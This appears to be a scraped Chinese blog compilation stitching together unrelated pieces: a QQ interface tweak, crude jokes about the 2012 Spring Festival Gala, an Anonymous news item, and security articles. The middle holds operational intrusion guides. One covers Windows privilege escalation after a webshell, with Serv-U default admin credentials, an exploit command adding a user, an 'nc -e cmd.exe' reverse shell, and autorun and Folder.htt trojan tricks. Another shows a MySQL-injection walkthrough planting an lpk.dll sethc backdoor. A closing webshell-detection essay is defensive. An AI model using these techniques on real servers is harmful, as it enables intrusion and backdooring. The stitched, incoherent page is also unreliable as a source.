QQ界面左上方的“QQ2011”改成你喜欢的任何字 (亲测可用)
QQ界面左上方的“QQ2011”改成你喜欢的任何字 (亲测可用)
首先,我们需要找到这个文件:PreLoadStringBundle.xml
搜索到后以文本形式打开。
将第一个“$__PNAME_V$”改为你想要的字重启QQ就可以看到效果了。
亲测可以使用,嘿嘿!!!
QQ界面左上方的“QQ2011”改成你喜欢的任何字 (亲测可用)
首先,我们需要找到这个文件:PreLoadStringBundle.xml
搜索到后以文本形式打开。
将第一个“$__PNAME_V$”改为你想要的字重启QQ就可以看到效果了。
亲测可以使用,嘿嘿!!!
1、原来李婶是小内啊。。。
2.我擦,这不山形健老师么。。。
3. 春晚主持人阵容:一对鸳鸯一对基...三个小受一个T...一个腐女看三P……
4.董卿语录:毕老师跟叔叔干上了。。。
5.董卿语录:毕老师您从哪漏出来的。。。
6.有多少人算不明白厨子是赚了赔了!!!
7.好想看我们山大教授毕老师在电视机前突然大喊一句“凡我在处,便是山大!”…然后画面一转响起“我们向往大啊啊~啊海…!
8.一年一度的年终吐槽大会开始啦!
9.春晚就是中老年人网络词语学习成果展。。。
10.春晚很好地驗證了熵增大是自然規律……
11.当搞基成为一种趋势,连春晚也逃脱不了。。。
12.蔡明一边说着:"肿么了?",一边用双腿紧紧夹住一根粗大笤帚,配合她的白色假发和少女萌音,整个画面有一种诡异的美感。。。。
13.龙是雄的,凤也是雄的,凰才是雌的…………春晚你要搞什么…………
14.力宏是不是电吉他没开。。。
15.还是我们家力宏帅;坤爷帅爆了;eason!eason!邵峰好有型啊;我看到庚庚了!!!忘了费翔了。。。
16.这个舞蹈是一个白富美和高帅富调情,而屌丝跪一地的剧情啊!!
17.春晚看到现在,作为一个党性丰满的掉一地的优秀选手,我看到了,基,本国策。
18.宋国母的绝唱啊,下一届春晚的国母就姓彭了。
19.皇上这场戏不拍完,全都不用吃饭!!!谁吃谁用葵花点穴手点上!!!
20.报告孔庆东,开场曲有一对王八蛋不唱普通话。。。
21. 犯历史错误了啊,“太监”这个词在明代才开始有的!他应该说扮的是“宦官”。
22.春晚明年应该考虑在后面大屏幕上来个人人状态墙嘛!
23.刚看完李云迪和王力宏眉来眼去 李咏和朱军又腻腻歪歪 今年的主题是?” “今年的主题:龙阳”
24.总是担心山形老湿会去脱董卿衣服。
25. 老湿,我明白了,我不是一只鸡啊。——我说过你是吗?
26.把荆轲端上来以后,啊,啊,啊,啊,啊。。。
27.今年春晚好奇葩啊,演电视剧的去唱歌了,唱歌的去说相声了,说相声的去演小品了,演小品的不来春晚了。。。
28. 春晚没有广告所以是连续的。。。然后。。。它可基(积)
29.半根黄瓜?还有半根呢? 对不起...老公....昨晚你不在啊....
30.CCTV基因突变史:CCTV →_→ CCAV →_→ CCGV
31.咖啡就着大蒜,看春晚配着人人评论,岂不快哉!
33.今天的四位男主持李咏,朱军,撒贝宁,毕福剑,四人的名字组合起来是LZSB...笑死我了。。。
34.插播一条,美国海军卡尔文森航母战斗群上起飞的战斗机当地时间17时许袭击了伊朗在霍尔木兹海峡附近的海军基地,击沉15艘伊朗海军军舰,美国白宫目前正在召开记者会,宣布美国正式向伊朗开战。(他就是个状态)
35.你们有没有发现问题的严重性!他们还没有发来贺电!!!
36.连李玉刚的胸都比我大……我不活了,你们别拦着我……
37.表演成功完成后,刘谦正对镜卸妆,镜中忽然伸出一只手轻抚他的脸,一个邪魅低沉的声音响起“谦儿,答应你的我都做到了,现在,是你回报时候了……”
38.我觉得吧,最近状态都开始转向巴神了。。。
39.我看着春晚老觉得他们有基情,特别是孔雀舞,公孔雀才有尾巴,两只有尾巴的公孔雀亲来亲去……
40.姑亮们,零点之前把bra脱了,保证明年没有凶兆啊!!
41. 奥巴马正在看春晚直播,美国中情局头头突然闯进来,递上一份绝密情报:据中国网民线报,我国已对伊朗宣战
42.据说那个女的穿bra了,是肉色的。。。
43.费翔——那些年,咱妈一起追过的男孩!
44.本山大叔不来春晚外边放鞭炮的时间明显不整齐了……
45.“我们俩谁甜!”“你甜!”“为什么?”“她糖尿病!”。。。我擦。。。冯巩这都能知道味道,太重口味了。。。看了十八年春晚,这是最重的一条啊。。。信息量太大了~!!!
46为了配合整个春晚的“基”调,刘谦开始“搞玻璃”。。。
47.还说 春晚没广告 刘谦变了个苹果 还咬了一口。。。
48.刘谦,你敢把你背后的容嬷嬷变成夏雨荷咩?
49我要被央视雷死了!!!!!刚才看新闻,介绍春晚时是这样说的“今年春晚的另一大看点是出现了不少夫妻档,胡军夫妇,羽泉夫妇,沙溢夫妇等”。。。好像有哪里不对啊!!!!!!!!
50.台下坐着的是“低笑点比赛”的全国百强吗……
51.毕老师说,我俩往这一站,舞蹈名就出来了…………凌辱素人.rmvb
52.各位注意到没,刚才李咏用猥琐的小眼神儿瞄着朱军,不一会儿,老毕也偷偷猥琐的瞄着朱军!
53.明星家庭联唱,敢不敢喊彭丽媛和她老公唱一个-_-
54.李咏!放开那群正太萝莉!
55.那未来的儿子,在舞台上掉了100块钱,谁捡到了
56.主持人让我想到一部电影:三渣叔之恋。。。
57.距离下一春晚倒计时还有365天
58.刘谦说镜子里是他朋友,于是出来一只手。。。这只手是怎么成为他朋友的呢?
59.屌丝们普遍对刘谦的镜子很感兴趣,表示一定要弄一个。
60.主持人没说明年再见、、、
61.“董卿小姐,坚硬么?” “恩,坚硬” “你要我从哪个地方穿进去?” “中间吧” ==“刘谦再来一次吧,你太棒了!一年不见你的手越来越灵活了。。。”What a fucking day!
62.从瞿颖到周迅再到王菲,跟了李亚鹏嗓子都变哑了,真是一代猛男啊!
63.迟早有一天陈坤的左眉毛会抛弃他的右眉毛冲向宇宙。。。
64.【﹁_﹂】【﹁_﹂】【﹁_﹂】【﹁_﹂】【﹁_﹂】【﹁_﹂】看懂的自觉转
65. 刘谦:“你觉得这颗球在哪里?” 沙溢:“在杯子里。” 刘谦:“你以为它在杯子里,其实它在衣服兜里;你觉得他在衣服兜里,其实它现在在我手里;你认为它在我手里,其实它现在在杯子里,现在把这颗球扔掉。。。。哔里巴拉哔里巴拉哔里巴拉!@¥!@#%……”“葵花点穴手!!!!”世界安静了。
66. 个人觉得今晚最佳的一条状态:杨丽萍表演孔雀舞,这时背景音如果出现赵忠祥浑厚的声音:“每年这个时候就是孔雀交配的季节。”就完美了。
67.原来刘谦在董卿不在的这两年里都是靠镜子!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
68。2012年中央电视台春节联欢晚会:类型:科幻/犯罪/悬疑/恐怖/灾难/鬼怪/同性......................制片国家/地区:大陆......................语言:汉语普通话......................上映日期:2012.1.22
69.老听着是容嬷嬷协全国炮友给大家拜年……
70.我扫了一个月的黄,终于把你们这俩搞基的扫出来了
71.别说了,给跪了:刘谦能把黄变红,能把黑变粉吗
72.看了吧!一对基遇到正室老婆的结果…居然有一个要扮儿子= =
73.av女优说:我是搞人体体液收集分离刺激新陈代谢研究的
74. 春晚要配套看人人上的各种评论才好看 。。。
75.根据王菲2011年5月28号那条微博推算出王菲如果28天一周期的话。。。。。怪不得老是跑。。。
76.郭冬临叫“好的受“了
77。阴谋:今年的春晚不断的通过各种语言、行为和舞蹈暗示搅基,最后让李玉刚出现来彻底扭转直男的世界观,借此完成下一个五年的计划生育工作……
78.淘宝虽好,可不要多上哦,亲!
首先,在获取webshell后,我们常见的是看一下系统的服务,查看服务可以通过利用扫描器对服务器ip进行扫描,或是在webshell中有执行dos命令时查看net start来查看主机所开放的服务。首先我们说一下从简单的开始说起:
1。pcanywhere的提权方法
pcanywhere软件我想大家都了解,为什么将它放在首位就是因为读取密码后直接连接就可以了,如果对方主机在开通了pcanywhere的服务端的话,我们看能否跳转到这个目录C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\,如果行那就最好了,直接下载它的CIF文件,然后使用pcanywhere的密码读取器得到pcAnywhere密码,然后使用pcanywhere登陆即可!接下来就是可视化操作了。
2。Serv-U提权方法
Serv-u可以说是网络上比较火的一款FTP服务器软件,有许多像我这样的小黑们都是看系统服务中是否有Serv-u的系统进程来进行提权的。Serv-u的提权方法针对不同的版本也有不同的方法,这里我们就列举一二,可能不是很全,但在其他网友的回复中能够不断的补充吧!
a.serv-U本地提权:serv-U本地提权一般是利用溢出程序对serv-u的设置上的缺陷进行添加超级账户的功效。例如Xiaolu写的serv-u.exe就是利用sevr-u的默认管理端口,管理员账号和密码进行提权的,默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理,利用本地提权的关键就是寻找服务器文件目录中的everyone权限目录,下面我给大家列举些常见的everyone权限目录:
c:\winnt\system32\inetsrv\data\
是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去,然后执行
c:\prel
C:\Program Files\Java Web Start\
c:\Documents and Settings\
C:\Documents and Settings\All Users\Documents\
很多时候data目录不行,试试这个很多主机都是erveryone 完全控制!
C:\Program Files\Microsoft SQL Server\
c:\Temp\
c:\mysql\(如果服务器支持PHP)
c:\PHP(如果服务器支持PHP)
上面一些目录就是常见的,不过也不排除一些特殊的,像江民的kv2004对文件夹的权限设置就不是很严格的。
不过针对本地提权是可以防范的,下面是我在xiaolu的文章中节选的:
防止办法和对策:
一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:\php,x:\perl等,因为这种目录都是everyone完全控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。
高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到最后一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了:
TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING
对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式:
USAGE: serv-u.exe port "command"
Example: serv-u.exe 43958 "net user xl xiaoxue /add"
更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:\Program Files\Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。
终极防御:
1.设置好目录权限,不要疏忽大意;
2.Serv-U最好不要使用默认安装路径,设置Serv-U目录的权限,只有管理员才能访问;
3.用我介绍的办法修改Serv-U的默认管理员名字和密码,喜欢的话端口也可以改掉。
c.serv-U管理端口定向转发法:这里需要使用的工具是FPipe.exe
我们要知道Serv-u默认本地管理端口是:43958,这个是只允许本地ip127.0.0.1进行登陆和管理的,那么我们就想能不能通过端口转向来远程管理呢?所以我们用到FPipe.exe,首先是将FPipe.exe上传至服务器中,然后再cmd下执行
Fpipe.exe -v -l 12345-r 43958 127.0.0.1
这里要说明的是,这段字符的意思是当访问12345端口时就会自动转向43958端口,也就是serv-u的管理端口
所以我们在本地安装一个Serv-u,
新建一个服务器,填入对方IP,
user:
LocalAdministrator
pass:
#l@$ak#.lk;0@P
连接上后你就可以管理他的Serv-u了,剩下的操作就是执行上面提到的方法了!
===================================================
Serv-U的方法我就总结出这几个来,可能还有其他的方法我没有看到吧
不过个人认为关键还是本地溢出漏洞的应用要比较多一些,所以网上也常常出现serv-u的本机溢出程序
不同版本的更是层出不穷,前一段时间针对serv-u6.0.2的修改了默认管理员账号和密码的相关文章还请大家参照校园黑客联盟的小鱼修炼中的文章。
Serv-U的提权文章就暂时先总结到这里,有更好的方法还请大家回复!
3.Autorun方法:这种方法也可以说是比较古老的方法,最初应该是从光盘自动播放中寻找到的灵感吧?不进行细说,给出格式即可
制作一个Autoruan.inf文件.内容如下
[AutoRun]
open=bear.exe
bear.exe为木马程序,与autorun.inf放在同一目录下!
4。SAM破解方法: 进入C:\WINNT\system32\config\ 下载他的SAM文件用lc等破解工具破解。
5。相关脚本提权方法:前面的serv-u的ftp提权中提过的vbs这里再说下.进入c:\Documents and Settings\All Users\「开始」菜单\程序\启动 写入bat或vbs文件。这种方法也是属于守株待兔类的,只有在对方主机重起以后才可以达到目的。
6。NC的反弹提权:这里就要说NC的相关用法了,如果在对方服务器中有足够的权限执行nc的话就好了,把它反弹到自己的电脑上,你就可以进行相关操作了!瑞士军刀具体方法不多说,给出格式,如下:
server:nc -e cmd.exe ip 1234
client: nc -l -p 1234
7。conn等asp文件中泄漏SQL帐户密码方法:这种方法说起来应该算是比较侥幸的方法。曾经马俊和我说过一次,原来没有太在意,现在还真的感觉有些好用了,找到账号密码和数据库名在对方没有删除xp_cmdshell条件下用sql连接工具连接即可,连接上后就可以输入你想要的CMD命令了。
8。VNC的相关提权:VNC也是一个类似pcanywhere的远程管理软件,在linux应用广泛,曾经在看台湾的一些服务器中有很多使用VNC的,方法也是我在网络中学到的,不过在应用中就成功过一次,比较郁闷!方法就转载一下吧,网址:http://77169.org/Article/HTML/14184.html
还有要补充的就是vnc是可以反向连接的,这个方法我没有试过,只是曾经看影子做过一个视频动画。
9。desktop.ini与Folder.htt方法。(此方法是在网络看到的)方法如下:首先建立一个文件夹,进入,在空白处点右键,选择“自定义文件夹”一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,如果看不到,就把显示所有文件给选上,然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码:<OBJECT ID=“RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=“木马名”></OBJECT> 然后你将你的木马文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的木马,此方法也属于类似autorun的守株待兔方法。
10。替换服务提权:我认为比较复杂,不过有些时候也实用,首先是看服务进程,在看我们是否有执行命令的权限,这里要用到的命令是rename,相关用法:
C:\>rename /?
重命名文件。
RENAME [drive:][path]filename1 filename2.
REN [drive:][path]filename1 filename2.
例如替换c:\kv2004\kv.exe的进程
rename c:\kv2004\kv.exe bear.exe
然后再将我们的本地木马文件命名为kv.exe上传到c:\kv2004\目录下,等待对方重新起动机算机即可!
北京时间1月20日消息,据国外媒体报道,美国司法部关闭文件分享网站Megaupload之后,黑客组织Anonymous开始攻击一些大公司与美国政府机构的网站以示报复。
今天早些时候,Anonymous通过其Twitter主帐户散布了一系列反对SOPA(《停止在线盗版法案》)与PIPA(《知识产权保护法案》)的言论,声称:“既然政府关闭了Megaupload,我们也能在15分钟内关闭政府和唱片公司的网站。走着瞧!”
此外,Anonymous还宣称对环球唱片(Universal Music)、美国唱片业协会(RIAA)、美国电影协会(MPAA)与美国司法部网站遭到的袭击负责。截至美国太平洋时间下午3点,以上网站依然没有恢复正常,但是有人在Twitter上称它们将慢慢陆续复原。
该组织还声称,本次攻击行动是“Anonymous有史以来规模最大的攻击”,有5635人参与。本次行动目前仍在进行中,Anonymous扬言称下一个目标是美国联邦调查局(FBI)的网站:“请准备好爆米花……今晚的好戏长着呢。”(悠拉)
o(∩_∩)o 哈哈,传说中的龙年到了,很开心,呵呵,感觉又回到了小时候,期待着过年,期待着放鞭炮,期待着全家一起包饺子,期待着一起在电视机前吃年夜饭,期待着一年一次的压岁钱,期待着。。。。。
今天和老爸出去贴对联,看着到处都是一片红红火火的样子,这就是过年的样子啊~ 辞旧迎新,新的一年还有很多美好的东西在等着我们呢~! 2012世界末日? 呵呵,管他呢,过年就应该把一切烦心事全都抛开,好好享受中国传统的喜庆~!
在这,骨頭也祝大家龙年大吉,快快乐乐,健健康康每一天~!~!
来自:90 sacret Team信息安全团队
我提供的这种方法相对来说条件较为苛刻,不过在这就是一个思路,可能在你入侵受阻的时候真的能帮到你。我们先来看下这个注入点的要求:
1、magic_quote 为off
2、可以写文件,最好有任意目录的写权限
3、最好有读文件的权限,但如果真没有也行
4、注入点需要是POST方式的(这样可以一次post128KB大小的文件)
为什么需要这么几个条件,后面我会详细的说,先说下我的思路,大家都知道,mysql也是可以写文件的,但大家可能更多的是用在写一个shell出来,其实我们也可以考虑写入一个其他类型的文件,比如exe、dll,这里我的思路就是通过dll方式来提权。先介绍一个Rices写的工具:T00ls Lpk Sethc。简单的说,通过该工具生成的dll文件,放在一个有exe文件的目录,那么等这个exe文件执行后,系统就被安装上了sethc后门,关于该工具的具体用法,叉子们可以百度一下。我就是想通过mysql的dumpfile方式,将这个lpk.dll文件写到一个存在exe的目录,等这个exe执行后,我们就提权成功了。这就是为什么我们需要magic_quote_gpc为OFF,因为这样我们才可以写文件,而可以写的目录越多那么成功率自然越大。为什么要有读取权限?因为我们并不知道目标网站的结构,也不知道哪里存在exe文件,那么我们可以先读取一些比较常见程序的安装目录下的敏感文件,比如说Navicat 的localization里的default.loc文件,如果我们读取到了这个文件,那么基本可以确定了Navicat的目录,再写入dll文件的话,成功的概率会更高。为什么需要POST方式呢?因为这个dll虽然不大,但远远超过了GET的大小,所以需要是POST方式的注入点。好了,基本情况介绍到这,我们开始吧。-
首先本地构造一个注入点,这个我就不说了。我们首先要做的是得到这个dll文件十六进制形式。这个我们可以在本地完成,我使用navicat配合mysql,先打开navicat,连接上mysql,打开任意一个数据库,然后选择“查询
接着我们输入命令:“select hex(load_file(‘f:/lpk.dll’)) into outfile ‘f:/xxoo.txt’;”其中f:/lpk.dll就是dll文件的位置,后面则是十六进制方式输出的文件。直接完毕后,我们到F盘下看看,果然出现一个xxoo的文本文件,大小为118KB,虽然增大了不少但还在安全范围(128KB)内,我们继续,接下来就是到注入点中了,本地构造的注入点为:
http:///www.2cto.com /1.php?id=1
放到穿山甲中试试
POST类型的注入,magic_quote_gpc为off。我们先来看看有多少个字段,我们可以通过order by 的方式得到,像我这种比较懒的就直接看源码了,其中有这句:“ $sql = “select username,password from admin where id=$id”;”这么说字段数是2。接下来就是注入了,这里我们要写个简单的html文件来提交,毕竟那个十六进制字符的文件有118KB呀。写好的html代码为:
<form action=http://www.2cto.com /1.php method=post>
<textarea name=id cols=120 rows=10 width=45>这填lpk的二进制代码 </textarea><BR><center><br>
<input type=submit value=提交
接下来就是写入代码了:
1 and 1=2 union select unhex(‘*******’),” into dumpfile ‘F:/Navicat Premium V8.2.19/Navicat 8.2.12/Navicat 8.2.12
Unhex里为lpk的十六进制,大家请注意,在unhex后面,还有两个单引号,这是为了不产生多余的字符,破坏了dll文件。接着我们点击提交,然后去该目录查看,发现lpk已经安静的在那躺着了。这样,我们再运行一下Navicat,不需要任何操作。我们再调出sethc按下A+B,然后输入123
到此,我们的后门就安装成功了。
这种方式的提权需要的条件较为苛刻,还需要一点运气,不过入侵就是这样,多学一种方法在入侵的时候就多一条路。
0x00 前言
0x01 Webshell检测模型
0x02 静态特征检测
0x03 动态特征检测
0x04 结语
0x00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。
0x01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
0x02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell——这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。
0x03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
--code-------------------------------------------------------------------------
<%
Function execute(stra)
Response.Write("get the arg : "+stra)
End Function
a="response.write(""hello,world"")"
execute(a)
%>
-------------------------------------------------------------------------------
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。
0x04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。
文章作者:lake2 - 这个ID不用我解释,某组织的牛淫